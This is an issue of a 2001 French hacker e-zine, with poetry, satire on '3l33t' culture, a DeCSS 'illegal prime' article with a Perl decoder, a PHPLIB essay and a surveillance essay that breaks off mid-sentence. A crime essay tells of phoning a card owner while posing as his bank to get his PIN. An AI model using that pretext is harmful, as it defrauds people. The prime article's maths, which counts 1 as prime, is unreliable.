21-03-2001 - H@CKOFF No25 - * Gnôthi seauton edition * - °º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø _/ _/ _/_/ _/_/_/ _/ _/ _/_/ _/_/_/_/ _/_/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/_/_/_/ _/ _/_/ _/ _/ _/_/_/ _/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ / _/ _/ _/ _/ _/_/_/ _/ _/ _/_/ _/ _/ `°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø ___________________________________________________________________ / \ / Bienvenue dans ce Hackoff No 25 Gnôthi seauton edition (on y abuse | / du grec dans un contexte savatique). Au sommaire de ce numero 25 on | / vous derange en pleine pause cortico-thalamique avec nos egos aigris / | de grognons dans leurs grottes. Un bouquet de tutoriaux, de virus, / | traductions et poesie cyber, des packages mime et des astuces... / \________________________________________ ________________________/ \ | \| __________ .,:;>The Crew<;:,. ¯¯¯¯¯¯¯¯¯¯ /¯¯.gArd.¯¯\ / .h3rtz!. \ ____________________________________/ ..misto... \_____________________________ ¦§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦/ ...blured... \§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯/ ....courou.... \¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ / .....tobozo..... \ / .....Lansciac..... \ / ......Jericho....... \ ----8<----+-----8<--------8<---------\-8<--+-------8<--- / Ghosts : SniffDoz G3n0cId3 \ /------------------------------\ / Guests: idX , Joey, hAl2001 \ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ____________________________________________________________ __________ / TabLe des mAtières : \ / HACK0ff \ |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯| ]-=v0L 25=-[ | [0] Disclaimute Gard | \ Mar 2001 / | [1] Edito Lansciac | ¯¯¯¯¯¯¯¯¯¯ | [2] Comment devenir 3l33t Jericho | | [3] L'illogisme des nombres Tobozo | | [4] Le Crime Informatique Gard | | [5] Le futur de PHPLIB/XML Tobozo | | [6] Pass Secure sur NT5 Tobozo | | [7] RNIS / ISDN Ludo | | [8] Un virus PHP / Un virus Perl Savate Powa | ---------8<------+--------------8<---------------------8<---------------------8<- ¦ : . _ _______________________ _ -*0*- `^°*;:,.> Ðïsclaïmute <.,:;*°^` _____________________________/¯¯¯¯¯¯¯ By Gard ¯¯¯¯¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Sing-Sign A sa sinuosité cynique dédiée Au dadaïsme d'addition en addition A sa synecdoque systematique osée Causée par la synonymie des clones cons A sa synergie nucléaire défacée Des faces édulcorées des masques des patrons Ah ca signifiait tant l'ignorance angelesque Des dictateurs autodidactes autodafés Assassinés sur des buchers imaginaires Que d'autres bouchers ont rêvés pour les sauver Ah ca s'ignifugeait sans arret sous burlesque En toute inhibition et toute illégalité A sa synapse hélas désasteuse et grillée Par les électrodes électorales d'outrance A sas inepte inapte aux as de la télé Tel l'étallage en la payante délivrance A sa significatrice moqu'rie on sait Qu'a sa sinistrose revient l'épitaf rance -\ hacking the tree off the twenty fifth century beaver...\ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ _______________________ _ -*1*- `^°*;:,.> Ê Ð ï t 0 <.,:;*°^` _____________________________/¯¯ By Lucie Lansciac ¯¯\__________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Le chat, la savate et l'ampoule Il est au pays des contes, un adage qui dit: Nul ne peut mourir lorsque le castor vient a se vetir. C'est dans cette epoque que notre epopee galope sur l'existance, racontant l'histoire d'un chat, non botte pour une fois, Qui s'opposant a ce que l'ampoule l'eclaira, vi de peine, dans ses differents miroirs, disparatre son minoi. Force de se lechouiller pour s'assurer de sa subsistance, le matou se souvint que naguere il etait de bon alloi, de faire appel a la providance, en levant bien haut son doigt. La dame chatiee, de par l'ampoule l'infamie, eu tot fait de reagir, en demandant a une savate d'intervenir. La Savate n'etant pas de ce pays, vit en cette occasion la possibilite de se faire des amis. Ami fidele et sincere, chat de goutiere, Ami prolixe et gentil, chat de bourbis. C'est ainsi que nous fetons encore aujourd'hui la rencontre de ces deux merveilleux amis. Cela bien connu sous le nom de la saint Chavate, journee consensuelle de propagande anti-cravate. Apprenant de par son ami, Quel malheur sur le chat fondit, La savate proposa un accord, pour montrer a l'ampoule son tord. L'ampoule avait bien trop vite vendu la peau du castor, et dans une expiation eternelle, elle allait connaitre du remord. Le plan de la savate elabore, il ne fut pas bien dur de le disposer. L'idee essentielle residait dans le fait, Que l'ampoule de par son orgueil allait exploser. Il suffisait simplement de la chauffer a blanc, et de lui faire suivre cet aimable lapin blanc. Sitot dit, sitot fait, L'ampoule, du royaume, se retrouva congediee Et recu pour toute indemnite Un filament fondu et du verre brise. Le chat, quant a lui, le benefice, retrouva, La satisfaction et l'admiration de sa beaute, Non dans un miroir, mais dans un lac ou il plongea, Accompagne de la savate son ami, pour la vie, son allie. Moralite, si l'on doit en tirer, c'est que l'on a beau s'auto proclamer illumine, si de meconnaissance et de peur nous faisons preuve, c'est tot fait que nous serons sous une lame neuve. lansciac@madchat.org ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ _______________________ _ -*2*- `^°*;:,.>Comment devenir 3l33t<.,:;*°^` _____________________________/¯¯ Jericho & Tobozo ¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Procurez vous une copie de DeCSS Il vous faut absolument une copie du code source de DeCSS, en version T-shirt, mp3 ou autre,et tant pis si vous n'y pigez que dalle. Dans tous les cas copier un DVD vous coutera trois fois plus cher que d'acheter l'original, mais la gloire avant tout :) C'est un must pour devenir 3l33t. Pas de pitié pour AOL Ne pas aimer AOL est obligatoire car tout ce qui touche AOL est lame. Si vous avec un compte AOL annulez le.. Et dire que "AOL est mon ISP de secours" N'EST PAS UNE EXCUSE ACCEPTABLE POUR RESTER CLIENT CHEZ EUX. Vous ne pouvez pas etre 3l33t et utiliser AOL, ces deux choses sont incompatibles, ne demandez pas pourquoi, personne ne le sait mais c'est comme ca que les choses se passent sur IRC, AOL c'est lame et il ne faut pas faire preuve de pitié. Votre ordinateur est une "box" Il est intolerable de parler de votre ordinateur comme d'une machine, workstation, CPU, PC, serveur, etc .. Votre ordinateur est une "box" et l'appeler autrement est un blaspheme. Soyez arrogant et pipeauteur Incontournablement necessaire : il faut sans aucun doute etre arrogant et balancer des gros pipeaux a tout le monde pour etre 3l33t. Etre seulement arrogant n'est pas suffisant et sortir des conneries sans etre arrogant ne suffit pas non plus. Il faut etre vraiment exageratif pour etre 3l33t : "M3 CH3RCH3 P45 0ú j3 43 5MúrF4 L4 TróNcH3 d3 LAMAH". Traitez de "lamer" tous ceux que vous pouvez tant que vous pouvez mais souvenez vous que d'affabuler sur des choses serieuses parait trop serieux pour etre credible. Il faut faire vos declarations d'une maniere aussi scandalante qu'improbabuleuse de facon a ce que les autres jugent votre 3l33tizm a la taille des conneries que vous sortez.. LIBÉRÉ JEAN-KEVIN (©zipiz) On s'en fout s'il a été libéré ou pas, il ne sera JAMAIS vraiment libre. Et ca aussi c'est votre histoire et il faut vous y accrocher. Gardez votre logo "LIBÉRÉ JEAN-=KEVIN" bien collé a votre homepage pour le restant de vos jours. Compte Shell Si vous n'avez pas de compte shell procurez vous en un ! Et non votre linux-box (pigé le "box"?) branchée a votre ADSL ne compte pas. Comment pouvez vous balancer des paquets a partir de CA ? Soyez realiste et procurez vous un VRAI compte shell sur un provider qui a 4 lignes T3 a lui tout seul, ils font tous ca de nos jours, il n'y a qu'a demander.. Microsoft ca craint (vraiment) Microsoft c'est pas du tout 3L33t, tout ce qu'ils font est NAZE et d'ailleurs tout le monde le sait. Percevoir microsoft comme un groupe d'armee ennemi est fondamental, meme si vous utilisez windows. MAIS TOUT VA BIEN car vous pouvez dire que c'est papa ou maman qui l'a installé et comme c'est eux qui ont payé l'ordi faut rien dire (sans oublier que les bons jeux ne fonctionnent que sous zindoz). La raison pourquoi il existe des gens qui utilisent Office vous depasse car tout ce que fait microsoft craint a mort. Pour rester 3l33t il ne faut jamais precher la parloe de microsoft , eh apres tout il font un max de blé mais ils craignent vraiment.. Vous devez croire de tout coeur que BSD est superieur a linux Si vous n'utilisez ni BSD ni Linux c'est le top. Croyez-nous qu'un véritable 3l33t utilise BSD et non Linux? Si vous utilisez Linux, vous pouvez l'enterrer très profondemment dans l'oublie. Vous savez de quel endroit il s'agit, le petit endroit de votre coeur duquel vous ne parlez jamais pendant les fêtes entre amis. L'endroit où tous les doutes que vous possédez s'engluent, où vous sentez (secrètement) que FreeBSD et OpenBSD sont trop intimidants, donc vous utilisez Linux. Vous devez écrire dans cet endroit de votre coeur que BSD est en fait techniquement supérieure à Linux. Même rien que juste un peu (bah ouais au debut c'est un petit peu et apres c'est un gros peu alleye une foye). Et vous ne devez le dire à personne. Votre playstation Sony doit absolument comporter un Modchip Cette règle est presque évidente. Votre Playstation Sony doit ABSOLUMENT avoir un modchip. Je ne vais même pas expliquer celle là. Si vous vous avez une Playstation (PSX), et que vous voulez être un 3l33t, allez vous faire installer un modchip bordel ! Il faut essayer d'avoir au moins un MCSE Meme si microsoft est mega craignos -et vous le savez-, vous etes quand meme en etat d'etude permanente pour obtenir votre MCSE. Tout le monde sait que les 3l33t travaillent dur sur leurs MCSE, c'est une des ironies de la vie... Si vous remplissez tous ces criteres alors vous meritez d'etre un 3l33t et ce document fait office de diplome. Document Traduit par tobozo@biosys.net Jericho@altranet.fr ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ ____________________________________________ _ -*3*- `^°*;:,.> - L'illogisme des nombres - <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯By tobozo¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ L'illogique des nombres Un nombre entier (quand il est supérieur a 1) s'appelle NOMBRE PREMIER seulement quand ils est divisible en nombre entier par 1 et lui meme. Ex : les PPCM de 10 sont 1, 2 et 5, et les six premiers NOMBRES PREMIERS sont 1, 2, 3, 5, 7 et 11 En arithmetique, on dit que chaque nombre positif supérieur a 1 peut etre exprimé de facon unique en tant que produit de nombres premiers (comme au tiercé, dans l'ordre, dans le désordre). En gros 60 = 2² * 3¹ * 5¹ Le nombre premier qui nous interesse ici n'est pas des plus petits, seulement il a la particularité d'etre le premier a etre logiquement illégal puisqu'il corrrespond a l'algo DECSS en gzip !!! Il semblerait qu'un petit génie (Phil Carmody) ait constaté ce fait etrange : En appliquant une formule de conversion decimal->hexadecimal sur un de ces nombres premiers et en l'inscrivant sur un systeme de fichiers linux, on obtient des donnees qui peuvent etre identifiees par ce meme systeme comme un fichier au format gzip. Bon jusque la rien de bien extraordinaire. Sachant que ce sont les premieres valeurs d'un fichier qui forment son header, ca n'est pas sorcellerie que de trouver des nombres premiers commencant par 48565 (qui est le code décimal &bdb5 du header d'un fichier gzip) et d'essayer d'ouvrir jusqu'a ce qu'on y trouve quelque chose qui corresponde a un catalogue de type gzip. Pour trouver ce nombre premier il a fallu qu'il se livre a une recherche conditionnelle sur un test de primalité, ce qui nécéssite une grosse capacité de calculation (un CRAY fait l'affaire) ou beaucoup de temps (et d'optimisme). Le test pour savoir si un nombre est premier peut etre opéré de plusieurs facon, voici la plus vulgaire : Si p=3 [mod 4] est premier, 2p+1 est aussi premier si et seulement si 2p+1 divise 2^p-1. Henri Lifchitz a trouvé un test de primalité aussi simple sans faire intervenir la forme de p : Si p >=5 est premier, q=2p+1 est aussi premier si et seulement si q divise 3^p-1. Il existe un bon prog pour calculer le taux la probabilité de la primalité d'un nombre : http://www.primeform.net/ Il faut quand meme etre sacrémement obsédé par les nombres premiers pour se livrer a ce type de torture logique, et le paradoxe qui en ressort est loin d'etre negligeable puisqu'il souligne le fait que du code source quel qu'il soit ne peut pas etre légalement protégé. On peut résumer la formule a ca : hex ( "48565... (1401 chiffres) ...9443" ) = unfichier.gzip Jamie McCarthy a écrit un petit programme en perl dont le code source est dispo ici : http://www.cs.cmu.edu/~dst/DeCSS/Gallery/Stego/mccarthy-prime-decoder.txt En voici une petite transformation qui permet de tester en local si ce nombre est bien un nombre premier, et qu'il genere bien un fichier gzip valide. Il reste un peu de hacking a faire dessus pour qu'il fonctionne sur toutes les configs, les amateurs de perl se reconnaitront ;-) 8<--------------- snip --------------------->8 #!/usr/bin/perl require 5; use LWP::Simple; use Math::BigInt; my $html = <<"EOM";
4856507896573978293098418946942861377074420873513579240196520736 6869851340104723744696879743992611751097377770102744752804905883 1384037549709987909653955227011712157025974666993240226834596619 6060348517424977358468518855674570257125474999648219418465571008 4119086259716947970799152004866709975923596061320725973797993618 8606316914473588300245336972781813914797955513399949394882899846 9178361001825978901031601961835034344895687053845208538045842415 6548248893338047475871128339598968522325446084089711197712769412 0795862440547161321005006459820176961771809478113622002723448272 2493232595472346880029277764979061481298404283457201463489685471 6908235473783566197218622496943162271666393905543024156473292485 5248991225739466548627140482117138124388217717602984125524464744 5055834628144883356319027253195904392838737640739168912579240550 1562088978716337599910788708490815909754801928576845198859630532 3823490558092032999603234471140776019847163531161713078576084862 2363702835701049612595681846785965333100770179916146744725492728 3348691600064758591746278121269007351830924153010630289329566584 3662000800476778967984382090797619859493646309380586336721469695 9750279687712057249966669805614533820741203159337703099491527469 1835659376210222006812679827344576093802030447912277498091795593 8387121000588766689258448700470772552497060444652127130404321182 610103591186476662963858495087448497373476861420880529443
EOM my($prime) = $html =~ m{
([^<]+)
}; $prime =~ s{\D+}{}; $prime = Math::BigInt->new($prime); my $binary = ''; while ($prime > 0) { $binary = pack("N", ($prime % 2**32)) . $binary; $prime /= 2**32; } $binary =~ s{^\0+}{}; open(my $fh, "| gunzip -c 2>/dev/null") or die "cannot gunzip, $!"; print $fh $binary; close $fh; 8<--------------- snip --------------------->8 References : http://asdf.org/~fatphil/maths/illegal.html http://www.utm.edu/research/primes/curios/48565...29443.html http://www.utm.edu/research/primes/glossary/PrimeNumberThm.html http://www.utm.edu/research/primes/glossary/FundamentalTheorem.html http://ourworld.compuserve.com/homepages/hlifchitz/Henri/fr/ThSgfr.htm tobozo@biosys.net ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ _______________________ _ -*4*- `^°*;:,.>Le Crime Informatique<.,:;*°^` _____________________________/¯¯¯¯¯¯¯¯ Gard ¯¯¯¯¯¯¯¯¯\_____________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ "Ce n'est rien Madame, rentrez chez vous !" lâche le gros flic en filant l'air de rien quelques coups de pied dans les omoplates du garçon qui se débat. Dans sa main l'enfant n'a pas un revolver mais une disquette, c'est un criminel. On se croirait dans un mauvais film de science-fiction, la douce voiture au gyrophare teintant la nuit de lumières changeantes et festives va-t-elle s'envoler ou tout simplement rouler ? Le gosse hurle quelque chose. [ ndt : "HACK THE PLANET" ] Il ne veut pas partir sans son portable. Le policier grogne, après tout c'est peut-être une pièce à conviction, il ramasse la machine et la jette à l'intérieur, puis il démarre en faisant crisser les pneus sous le hurlement de la sirène. Ce n'est pas un film, mais la réalité. Le gosse a eu tort de croire qu'il serait en sécurité dans cette cabine téléphonique, au fond de cette ruelle. Il aurait dû se douter que le crime ne paye pas. Mais est-ce vraiment sa faute ? Est-ce la nôtre ? Je referme mon imperméable et continue mon chemin ; il fait plutôt froid ce soir. Quand j'avais une quinzaine d'années j'ai trouvé une carte bancaire qui gisait sur le sol piétiné d'un centre commercial, et je l'ai gardée. Un rapide calcul m'avait appris que je n'avais aucune chance de trouver le code, mais ce n'était pas grave, j'avais déjà une idée en tête. Une cabine téléphonique me dévora, 12, les renseignements téléphoniques. J'obtins le numéro du gars dont le nom était sur la carte, et je l'appelai aussitôt. Je me fis passer pour un employé de la Caisse d'Epargne et lui sortit un gros bobard sur des données endommagées dans le système. Je lui demandai d'une voix professionnelle si son numéro était bien celui que j'avais, et lui demandai son code personnel, poussant le vice jusqu'à lui conseiller par mesure de sécurité de passer à la banque s'il le désirait. Il m'a sorti un : "c'est quoi cette histoire ?" et j'ai raccroché. J'ai balancé la CB à la poubelle, je n'avais pas le coeur à exploiter les possibilités que m'offraient le nom, le numéro de carte et la date d'expiration. Néanmoins sans le savoir je venais de tracer ma vie. Je venais de réinventer le social engineering dont je n'avais encore jamais entendu parler. J'étais un pirate. Un criminel. Je suis né pour ça, quand j'y pense, plus jeune, vers une dizaine d'années, j'avais un logiciel éducatif, un de la toute première génération, et dans ce logiciel il y avait une variante de journal intime protégé par un mot de passe. Un an plus tard j'avais oublié ce code, et après plusieurs tentatives j'ai remarqué quelque chose d'intéressant. Il fallait appeler un numéro de clientèle en cas de perte, et donner une suite alphanumérique de taille moyenne. Je n'avais pas l'esprit très mûr, mais j'en ai vite déduit qu'il y avait une relation directe entre le mot de passe d'origine et le code à donner au service téléphonique. Je ne le savais pas encore mais j'étais en face de mon premier encryptage, des plus sommaires, certes, mais un premier encryptage que je mis trois jours à percer, à force d'essais et de comparaisons. C'était exaltant. Y avait-il un mal à cela ? Je me le demande encore. Où commence le mal, pour eux ? Comment peuvent-ils condamner un pauvre passionné à rejoindre les meurtriers pour simplement avoir éprouvé une sécurité quelconque. Un vrai hacker ne détruit rien, il ne fait que passer sans déranger personne, il va même jusqu'à prévenir les admins des serveurs visités du trou de sécurité du système. Et pourtant. Et pourtant, c'est un criminel. Le vol est un délit. La fraude est un délit. Le casse est un délit. Il existe des milliers de délits. Pourquoi le hacking est-il un crime ? Le meurtre, le viol, sont des crimes. Pirater un système est-il aussi grave pour eux que de tuer quelqu'un ? Je ne comprends pas, je ne saisis pas leur raisonnement. Ils doivent se cacher. C'est la seule réponse logique. Ils ont peur des pirates, peur du danger qu'ils représentent envers leur système établi, si peur qu'ils se cachent derrière des lois absurdes pour se protéger. Pourquoi les gens ne se doutent de rien ? La médiatisation. Ils nous font croire, ils vous font croire que les hackers sont mauvais, qu'ils détruisent tout. Bourrage de crâne. L'autre jour ils ne cessaient de répéter à la télévision qu'il y avait eu une vague de "piratage" en France. Des serveurs avaient été over-floodés et avaient été rendus inopérationnel pendant toute une journée. Mais ce qu'ils avaient oublié de préciser, c'est que ce n'était pas l'oeuvre des hackers. [ ndt : lesquels?] Ou s'il l'avait fait c'était simplement par respect d'une vieille guerre avec les multi-nationales. N'importe quel lamer au cerveau mal décongelé est capable d'over-flooder un serveur mal configuré. N'importe qui. Alors pourquoi ? Et eux, ont-ils le droit ? Au gouvernement, ont-ils le droit de mentir, de tricher, de manipuler, tout ça pour se protéger ? Et après ? De toute façon ils ne peuvent rien contre les pirates, comme le disait le Mentor ils ne pourront pas nous arrêter car nous sommes tous les mêmes. Alors pourquoi marginaliser les pirates ? Pourquoi en faire des Criminels en cavale quand ils auraient pu n'être que des délinquants dans leur propre société bien meilleure que celle de l'extérieur ? Pourquoi médiatiser la cause et attirer tous les gamins comme des moustiques, les même qui au collège emmerdent leurs camarades, pour qu'ils polluent un monde qui ne leur appartenait pas, qu'ils participent à souiller notre image jusqu'à ce que nous ne soyons plus rien, plus qu'un affreux criminel sanguinaire sans visage prêt à toutes les bassesses pour son profit personnel. Et l'Etat, l'Etat, est-il criminel ? Est-il coupable de crime pour avoir menti, triché, et manipulé, pour avoir craché virtuellement, enduit de crachat toute une communauté, ces enfoirés qui décident pour nous et pour vous, sont-ils criminels ? Pour nous, oui. Mais nous n'avons pas les moyens de le médiatiser. Alors nous finirons nos jours en prison pour un crime qui n'existe pas, et pour n'avoir pas eu la chance d'avoir la puissance du Système. Mais un jour, peut-être, ce système-là sera over-floodé. D'ici là, j'accuse. > Gard System Down < > 13/2/00 - 9h15 < ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ ________________________ _ -*5*- `^°*;:,.>Le futur de PHPLIB/XML<.,:;*°^` _____________________________/¯¯¯¯¯¯¯¯¯ tobozo ¯¯¯¯¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Traduction/commentaires : tobozo@biosys.net Date : 19-mar-2001 References : http://www.kneschke.de/projekte/ldap/php/future/ (inspiré du compte rendu de la conference a cologne) http://phplib.netuse.de http://www.phpslash.org [intro] Il etait une fois un langage bien sympa qui acceptait sans broncher plein d'erreurs de syntaxe avec des styles differents de codage. Dans le but de developper simplement des applications, ses auteurs avaient réussi a séparer les donnés de la couche de présentation. Ce langage s'appellait php-fi et a bien évulué depuis ce jour. Malheureusement l'utilisation etait devenue trop simple et la saison des bulletins de sécurité approchait avec ses pluies d'annonces. Ce phenomene cybermeteo etait surtout dévastateur pour les produits qui utilisaient "l'image de marque", et ceux qui le consommaient malgré eux ne pouvaient qu'en constater l'effet nefaste sur leur startup. [/intro] PHPLIB est peut etre devenu obsolete depuis que php4 est fourni avec PEAR, mais l'influence de ses methodes est loin d'etre terminée. L'abstraction a tous les niveaux de la circulation des données force les developpeurs auto didactes a adopter des methodes de programmation plus propres tout en permettant une adaptativité qui s'avere etre bien moins limitée que le codage sauvage. PHPLIB est aussi synonyme de portabilité, de sécurité (bien qu'elle ne soit pas prise en charge), et de stabilité (tout au moins au niveau du code). Cadre d'application ------------------- Les problemes soulevés par le manque d'empathie de la part des nouveaux acteurs de cette scene ont rapidement mis a jour des points critiques qui aident a comprendre pourquoi une bonne approches de PHPlib (tout au moins l'acquisition de connaissance semblables) est nécessaire pour maintenir une application web dans un environnement sécurisé sans rester dependant de ses concepteurs. Afin de permettre un developpement simple de l'application, il faut se livrer a un petit exercice qui consiste a utiliser un modele de donnees simple, et une représentation segmentee en differents modules. Application ^ | Templates | Présentation | Formulaires | +--------------- Relations | | Table Proxy | Données | Source de données v Interaction entre les modules individuels. ------------------------------------------ Source de donnees L'accès aux données est originalement définie sur une interface choisie arbitrairement selon les ressources locales (ex:DB_Sql). Le serveur web peut aussi etre la source de donnees, puisqu'il nourrit formulaires (Get, Post, Cookie) Table Proxy La TABLE_PROXY permet d'abstraire les donnees de la requete sur la source et joue egalement le role de containeur pour ces memes donnees. Son role est similaire a celui du xml pour le html par la structure qu'elle fournit aux données qu'elle contient. Relations On construit les relations entre les différentes données sur le module de relations. L'utilisation de metadonnées est rendue possible a ce niveau la (ex : Foreign Key). A partir de cette couche on peut dire que toutes les données ont été COMPLETEMENT abstraites, de facon a produire au moment approprié une interface simple, agréable, fonctionnelle et répondante. Formulaires / Templates / Application Les formulaires (OOH/IXT voir les deux modules PHPLIB) operent l'abstraction des champs (input) de l'interface. Ce qui en ressort est également exporté en direction des templates, puis vers le html. Il est aussi possible d'utiliser XSLT a ces niveaux. Chaque niveau reste indépendant de l'autre et peut etre utilisé séparément du moment que les interfaces auxquelles il s'attache sont définies en conséquence. Circulation des données ----------------------- La modélisation des données est produite au moyen du module de relation et se base sur la table_proxy (qui représente le conteneur de données). Ces données peuvent etre présentées par l'interface, puis de l'interface renvoyées vers leur origine. Le retour des données prend place a l'interieur du module de relation qui garantit la cohérence entre les différents champs utilisés. Le réexamen des différentes zones de données règle le Proxy, puisque chaque champ est évalué par les fonctions correspondantes (check_row..). Le Proxy par définition ne connaît pas le lien entre les données, cette tâche appartenant au module de relation, toutefois il garantit sa validité par le format des données qu'il traite. Le processus comp;et de traitement prend donc place ici. La présentation des donnees etant prise en charge dans le module formulaire et le module template, on peut donc etendre le diagramme de depart comme suit: Application ^ Circulation des données | Templates | SORTIE | Formulaires | | ------------- Relations | TRAITEMENT | ------------- Table Proxy | | ENTREE Source de données | Problemes et solutions : ------------------------ Il faut noter qu'aucune des couches n'anticipe sur la couche suivante, partant du principe que le bloc suivant s'en occupera (notion d'heritage). Cette situation peut etre genante lors de l'integration d'applications deja complexes, mais elle a le mérite de forcer la route du developpement vers des methodes de codage plus sécurisées et plus stables. Il existe certaines dépendances entre les modules, en ce qui concerne les données : la Table_Proxy doit vérifier les champs avant de les passer les formulaires peuvent avoir a fournir du JS les relations entre champs doivent etre clarifiées au niveau des dependances Cette variante impose une modélisation externe des données, de sorte que les contrôles correspondants puissent devenir automatiques. L'utilisation des templates d'un coté et de l'abstraction des formulaires de l'autre peut pousser a confondre ces deux couches au point d'en abandonner une au profit de l'autre sous pretexte de redondance. Cela ne fait que souligner le besoin réel d'un nouveau format intermediaire entre la couche relation et la couche application : on devrait recourir au xml comme méthode préférée, de sorte que de toutes les couches superieures bénéficient d'un accès simple au couches internes et ainsi abstraire completement le contenu logique. /* (copyleft) 2001 tobozo@biosys.net $d 19-mar-2001 16:33:02 GMT $Ext */ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ ______________________ _ -*6*- `^°*;:,.> Imagination <.,:;*°^` _____________________________/¯¯¯¯ By lansciac ¯¯¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ ... Je distribue l'information, la verite en tout cas telle qu'elle me parait; je mets en evidence les failles et les repare. Je suis affublee du terme de cyber delinquante par les medias et services secrets. Ils me surveillent et me traquent; ils se sont meme introduits dans mon corps. J'ai subit de graves deceptions et certains marmots braillards se disent des miens alors que je n'ai pas connue les douleurs pour eux. La scene... Au debut, il y a avait les bbl qui ont etaient demontees pour certaines; ecoutes telephoniques, tracage de numeros, descentes de flics, prise en flag, harcelement pendant les gardes a vue. L'epoque ne fut pas facile. Mais ce n'est pas de cela dont je veux vous parler ici. Internet, aujourd'hui accessible a la plupart, a pris la place des bbl. De plus il s'est avere que cela pouvait devenir un moyen d'expression jusqu'alors inegalé. Une possibilité de rétablir la liberte d'expression en acceptant les termes de tolerance et de securite. Cette securite est a double tranchant. Pour nous, c'est une culture voire un egaiment des synapses. Pour d'autres, c'est une main mise, un moyen de detenir l'information, la vraie, de laisser les peuples dans l'ignorance. Afin de filtrer les informations que nous vous communiquons, divers logiciels existent.. Vous pensez surement a echelon, mais ce n'est qu'une partie de la verite. De plus, les services secrets infiltraient, infiltrent et infiltreront notre milieu... Il y a quelques cas effrayants... De par le batage mediatique (un peu plus et on en entendait parler sur TF1 ;) vous avez surement entendus parler du systeme Echelon. D'apres des sources ministerielles, un oiseau comme celui la ne peut pas exister ;).. Les services americains n'ont jamais entendu parler de cela. Pour eux, les grosses paraboles servent a mieux capter Cart00n Network ;). Je serai bien incapable de vous deblaterer des pages et des pages sur ce merveilleux systeme qu'est echelon, cependant, vous renseigner quelque peu sur les logiciels qui existent de nos jours et qui louent leurs vocations a nos bureaucrates... Chaque logiciel est affuble d'un nom qui ne vous est pas inconnu. Le premier que je veux evoquer se surnome Taïga. Les adeptes de command et conquer, plus precisement Alerte rouge esquissent un sourire, je le vois. Et oui, cet add-on est en fait le nom d'un software mis en place a la chute de l'empire sovietique. Sous ce pseudonyme 